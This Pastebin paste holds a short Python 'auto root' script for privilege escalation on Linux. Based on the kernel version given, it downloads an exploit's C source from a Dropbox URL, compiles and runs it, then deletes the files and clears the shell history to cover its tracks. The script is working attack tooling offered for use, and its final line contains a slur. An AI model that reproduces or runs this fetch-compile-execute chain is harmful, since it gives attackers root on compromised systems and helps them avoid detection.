amiralbenz

A R

Aug 29th, 2015
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.09 KB | None | 0 0
  1. #!/usr/bin/python
  2. #coded by amine admiral
  3. #exploit name "auto root"
  4. #"You don't have sufficient permissions" error when you try to change the R ,,!,, G
  5. import os, sys, getopt
  6.  
  7. kernal_version = ''
  8. myopts, args = getopt.getopt(sys.argv[1:], "v:h:")
  9. for o, a in myopts:
  10. if o == "-v":
  11. kernal_version = a
  12. elif o == "-h":
  13. kernal_version = a
  14. print("Usage : %s -v kernal version")
  15.  
  16. if "2.6.32" in kernal_version:
  17. os.system("wget https://dl.dropboxusercontent.com/u/107219697/exploit/2.6.32.c;gcc -o 2.6.32 2.6.32.c;./2.6.32;rm 2.6.32 2.6.32.c;history -c")
  18. os.system("sleep 5;id")
  19. elif "2.6.18" in kernal_version:
  20. os.system("wget https://dl.dropboxusercontent.com/u/107219697/exploit/2.6.18.c;gcc -o 2.6.18 2.6.18.c;./2.6.18;rm 2.6.18 2.6.18.c;history -c")
  21. os.system("sleep 5;id")
  22. elif "2.6.23" in kernal_version:
  23. os.system("wget https://dl.dropboxusercontent.com/u/107219697/exploit/2.6.23.c;gcc -o 2.6.23 2.6.23.c;./2.6.23;rm 2.6.23 2.6.23.c;history -c")
  24. os.system("sleep 5;id")
  25. elif "help" in kernal_version:
  26. packet_master = 'skid_fagget'
Advertisement
Add Comment
Please, Sign In to add comment